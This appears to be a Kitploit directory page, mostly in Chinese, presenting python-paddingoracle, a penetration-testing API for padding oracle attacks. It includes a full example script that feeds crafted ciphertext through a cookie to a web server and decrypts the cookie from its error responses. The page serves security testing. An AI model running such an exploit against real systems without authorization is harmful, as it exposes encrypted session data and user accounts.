Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
python-paddingoracle — A portable, padding oracle exploit API | Kitploit
工具/GitHubGitHub/mwielgoszewski/python-paddingoracle
Encryption/Decryption ToolsExploitationWeb Application ExploitationCryptographyPenetration Testing
GitHubmwielgoszewski/python-paddingoracle

python-paddingoracle

A portable, padding oracle exploit API

查看仓库
331733年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

python-paddingoracle:一个可移植的填充预言机(Padding Oracle)利用 API

已针对 PYTHON 3 更新

python-paddingoracle 是一个 API,为渗透测试人员提供了 PadBuster_ 及其他填充预言机(padding oracle)利用工具的可定制替代方案。这些工具很难(不经大量重写)应用于独特的、因应用而异的场景,例如非 HTTP 应用、原始套接字、客户端应用、特殊编码等。

用法:

要使用 paddingoracle API,只需实现 PaddingOracle API 中的 oracle() 方法,并在解密器揭示填充预言机(padding oracle)时抛出 BadPaddingException。要解密数据,请将原始加密字节和块大小(通常为 8 或 16)以及可选的 iv 参数一起传给 decrypt()。

示例如下(来自 the example_): ::

root@kitploit:~
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib.parse import quote, unquote
import requests
import socket
import time

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = quote(b64encode(data))
        self.session.cookies['somecookie'] = somecookie

        while 1:
            try:
                response = self.session.get('http://www.example.com/',
                        stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)

        if response.ok:
            logging.debug('No padding exception raised on %r', somecookie)
            return

        # An HTTP 500 error was returned, likely due to incorrect padding
        raise BadPaddingException

if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[1:]:
        print('Usage: %s <somecookie value>' % (sys.argv[0], ))
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)

    encrypted_cookie = b64decode(unquote(sys.argv[1]))

    padbuster = PadBuster()

    cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))

    print('Decrypted somecookie: %s => %r' % (sys.argv[1], cookie))

致谢

python-paddingoracle 是一个 Python 实现,主要基于 PadBuster_,这是一款由 Gotham Digital Science 的 Brian Holyfield 开发的、用于执行 Padding Oracle 攻击的自动化脚本。

.. _the example: https://github.com/mwielgoszewski/python-paddingoracle/blob/master/example.py .. _PadBuster: https://github.com/GDSSecurity/PadBuster

下载工具